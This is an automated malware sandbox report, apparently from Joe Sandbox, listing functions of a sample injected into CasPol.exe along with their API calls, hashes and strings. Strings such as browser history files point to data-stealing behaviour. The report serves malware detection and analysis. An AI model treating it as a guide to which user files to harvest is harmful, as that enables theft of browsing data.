                                                                                                                                                                  • Opcode Fuzzy Hash: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                                                                  • Instruction Fuzzy Hash: B00121B2A413005EEB7ADF38EE5772966A0AF4C351F01453EA246CD1F6EEF58480CB49
                                                                                                                                                                  Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000,00000065,?), ref: 004449E7
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                                                                    • Part of subcall function 004449B9: GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                                                                  • memcmp.MSVCRT ref: 00444BA5
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$memcmp
                                                                                                                                                                  • String ID: $$8
                                                                                                                                                                  • API String ID: 2808797137-435121686
                                                                                                                                                                  • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                                                                  • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                                                                                                                                                                  • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                                                                                                                                                                  • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                                                                                                                                                                  Function 00405220 Relevance: 4.6, APIs: 3, Instructions: 88libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • _mbscpy.MSVCRT(0045E298,00000000,00000155,?,00405340,?,00000000,004055B5,?,00000000,00405522,?,?,?,00000000,00000000), ref: 00405250
                                                                                                                                                                  • _mbscat.MSVCRT ref: 0040525B
                                                                                                                                                                  • GetProcAddress.KERNEL32(0045DBE0,0045E298,00000060,00000000), ref: 00405266
                                                                                                                                                                    • Part of subcall function 00405211: GetProcAddress.KERNEL32(0045DBE0,?,00405282,00000000), ref: 00405217
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressLibraryLoadProc$DirectorySystem_mbscat_mbscpymemsetwcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 966727022-0
                                                                                                                                                                  • Opcode ID: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                                                                                                                                                                  • Instruction ID: 606e4c6bb64acde45ccb9f726b040251bc13cbada001f714d968da5dd22dddd0
                                                                                                                                                                  • Opcode Fuzzy Hash: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                                                                                                                                                                  • Instruction Fuzzy Hash: 52212171A80F00DADA10BF769C4BB1F2694DF50715B10046FB158FA2D2EBBC95419A9D
                                                                                                                                                                  Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                                                                    • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                                                                    • Part of subcall function 0040E01E: DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                                                                                                                                                                    • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                                                                    • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                                                                    • Part of subcall function 0040E01E: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                                                                    • Part of subcall function 0040E01E: WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                                                                    • Part of subcall function 0040E01E: UnmapViewOfFile.KERNELBASE(00000000), ref: 0040E135
                                                                                                                                                                    • Part of subcall function 0040E01E: CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                                                                                                  • CloseHandle.KERNELBASE(000000FF), ref: 0040E582
                                                                                                                                                                    • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                                                                                                                                                                    • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                                                                                                                                                                    • Part of subcall function 0040E2AB: memcpy.MSVCRT(?,-00000121,00000008,0044E518,00000000,00000000,756F13E0), ref: 0040E3EC
                                                                                                                                                                  • DeleteFileW.KERNELBASE(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                                                                                                                                                                  • CloseHandle.KERNEL32(000000FF), ref: 0040E5CA
                                                                                                                                                                    • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                                                                                                                                                                    • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                                                                                                                                                                    • Part of subcall function 0040E175: free.MSVCRT ref: 0040E28B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$Handle$Close$ProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1979745280-0
                                                                                                                                                                  • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                                                                  • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                                                                                                                                                                  • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                                                                  • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                                                                                                                                                                  Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                                                                                                                                                                    • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                                                                                                                                                                    • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                                                                                                                                                                    • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                                                                                                                                                                  • memset.MSVCRT ref: 00403A55
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                    • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                                                                                                    • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                                                                                                    • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000000,?,?,00000000,?,0040320A,00000000,000000FF), ref: 0040A94F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memsetwcscatwcslen$free$AttributesFilememcpywcscpy
                                                                                                                                                                  • String ID: history.dat$places.sqlite
                                                                                                                                                                  • API String ID: 2641622041-467022611
                                                                                                                                                                  • Opcode ID: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                                                                                                  • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                                                                                                                                                                  • Opcode Fuzzy Hash: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                                                                                                  • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                                                                                                                                                                  Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00417570: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                                                                    • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                                                                                                                                                                    • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                                                                                                                                                                  • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0041761D
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00417627
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$File$PointerRead
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 839530781-0
                                                                                                                                                                  • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                                                                  • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                                                                                                                                                                  • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                                                                  • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                                                                                                                                                                  Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileFindFirst
                                                                                                                                                                  • String ID: *.*$index.dat
                                                                                                                                                                  • API String ID: 1974802433-2863569691
                                                                                                                                                                  • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                                                                  • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                                                                                                                                                                  • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                                                                  • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                                                                                                                                                                  Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004175A2
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004175A8
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$FilePointer
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1156039329-0
                                                                                                                                                                  • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                                                                  • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                                                                                                                                                                  • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                                                                  • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                                                                                                                                                                  Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000), ref: 0040A044
                                                                                                                                                                  • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040A061
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateHandleTime
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3397143404-0
                                                                                                                                                                  • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                                                                  • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                                                                                                                                                                  • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                                                                  • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                                                                                                                                                                  Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                                                                  • GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Temp$DirectoryFileNamePathWindows
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1125800050-0
                                                                                                                                                                  • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                                                                  • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                                                                                                                                                                  • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                                                                  • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                                                                                                                                                                  Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseHandleSleep
                                                                                                                                                                  • String ID: }A
                                                                                                                                                                  • API String ID: 252777609-2138825249
                                                                                                                                                                  • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                                                                  • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                                                                                                                                                                  • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                                                                                                                                                                  • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                                                                                                                                                                  Function 004099F4 Relevance: 3.8, APIs: 3, Instructions: 38COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • malloc.MSVCRT ref: 00409A10
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,?,?,?,004027EB,00000004,?,?,?,00401F8F,00000000), ref: 00409A28
                                                                                                                                                                  • free.MSVCRT ref: 00409A31
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: freemallocmemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3056473165-0
                                                                                                                                                                  • Opcode ID: 4a52a1335cfde8b1ca48f25083a26fca5b2b00b674d395485fb9b1b856b8e911
                                                                                                                                                                  • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                                                                                                                                                                  • Opcode Fuzzy Hash: 4a52a1335cfde8b1ca48f25083a26fca5b2b00b674d395485fb9b1b856b8e911
                                                                                                                                                                  • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                                                                                                                                                                  Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset
                                                                                                                                                                  • String ID: BINARY
                                                                                                                                                                  • API String ID: 2221118986-907554435
                                                                                                                                                                  • Opcode ID: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                                                                  • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                                                                                                                                                                  • Opcode Fuzzy Hash: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                                                                  • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                                                                                                                                                                  Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                  • String ID: /stext
                                                                                                                                                                  • API String ID: 2081463915-3817206916
                                                                                                                                                                  • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                                                                  • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                                                                                                                                                                  • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                                                                  • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                                                                                                                                                                  Function 00409529 Relevance: 3.1, APIs: 2, Instructions: 66COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,00000143,00000000,00000000,00000000,?,00409690,00000000,00408801,?,?,00000143,?,?,00000143), ref: 00409552
                                                                                                                                                                  • CloseHandle.KERNELBASE(00000000), ref: 0040957A
                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$??2@CloseCreateHandleReadSize
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1023896661-0
                                                                                                                                                                  • Opcode ID: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                                                                                                                                                                  • Instruction ID: f35f9952f6e959c636c436af82c7d55a8b84e599ec35ab47be9645748316c481
                                                                                                                                                                  • Opcode Fuzzy Hash: 517a28336922631f1c28e20ccf3750fd377d8614a795a490cf559f5829b7d7c1
                                                                                                                                                                  • Instruction Fuzzy Hash: 0D11D671A00608BFCB129F2ACC8585F7BA5EF94350B14843FF415AB392DB75DE40CA58
                                                                                                                                                                  Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                    • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                                                                                                                                                                    • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 0040CC98
                                                                                                                                                                    • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$ByteCharMultiWide$??2@??3@CloseCreateHandleReadSize
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2445788494-0
                                                                                                                                                                  • Opcode ID: c9e98542c376da042cc7e9fe0c2757e169e3ab3aa14d13962e5d64e4fd764852
                                                                                                                                                                  • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                                                                                                                                                                  • Opcode Fuzzy Hash: c9e98542c376da042cc7e9fe0c2757e169e3ab3aa14d13962e5d64e4fd764852
                                                                                                                                                                  • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                                                                                                                                                                  Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcmpmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1065087418-0
                                                                                                                                                                  • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                                                                  • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                                                                                                                                                                  • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                                                                  • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                                                                                                                                                                  Function 004104FB Relevance: 2.6, APIs: 2, Instructions: 140COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                                                                                                                                                                    • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040EDC0
                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                                                                                                                                                                  • CloseHandle.KERNELBASE(?), ref: 00410654
                                                                                                                                                                    • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000), ref: 004096EE
                                                                                                                                                                    • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                                                                                                                                                                    • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
